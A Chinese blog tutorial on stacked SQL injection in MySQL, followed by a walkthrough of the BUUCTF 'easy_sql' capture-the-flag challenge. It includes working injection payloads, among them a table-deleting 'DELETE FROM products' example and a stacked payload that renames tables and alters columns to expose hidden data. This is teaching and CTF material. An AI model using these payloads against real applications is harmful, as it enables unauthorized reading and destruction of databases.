SQL注入-堆叠注入

SQL注入-堆叠注入

堆叠注入定义

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

堆叠注入原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

堆叠注入的局限性

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

下面就介绍一下数据库相关堆叠注入的一些操作

  1. 创建数据库

    create database 数据库名;
    
  2. 删除数据库

    drop database 数据库名;
    
  3. 修改表名

    rename table 原表名 to 新表名; 
    
    //当你执行 RENAME 时,你不能有任何锁定的表或活动的事务。你同样也必须有对原初表的 ALTER 和 DROP 权限,以及对新表的 CREATE 和 INSERT 权限
    
  4. 修改 words 表里面的 flag 列为 id 列

    alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
    
  5. 查询数据库名,表名

    show databases;
    show tables;
    

来一个实战吧!BUUCTF里面的easy_sql

1.测试有无注入点

img

2.用order by 确定字段数是2个

1' order by 2#

3.尝试使用union查询数据库名

1' union select 1,database()#

//发现select被过滤了,所以union查询也就用不了

4.尝试使用堆叠注入

1';show databases;#       //查询数据库名称

5.然后查询表名

1';show tables;#

6.然后查询两个表的有哪些列

1';desc `1919810931114514`;#
1';desc words;#

//发现flag在 1919810931114514 表里
//我们发现words表里有id ,data两列,可以猜测我们提交的查询的窗口就是在这个表里查询数据的
//那么查询语句很可能是:select id,data from words where id = 
//因为可以堆叠查询,这个时候我们可以把words改为words1,然后把 1919810931114514 改
//为words,再把列名flag改为id,然后用1' or 1=1#爆出表所有内容就可以得出flag

payload:

1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#

7.最后爆出flag

1' or 1=1#

posted @ 2021-07-04 13:24  胖三斤1  阅读(579)  评论(0编辑  收藏  举报
Live2D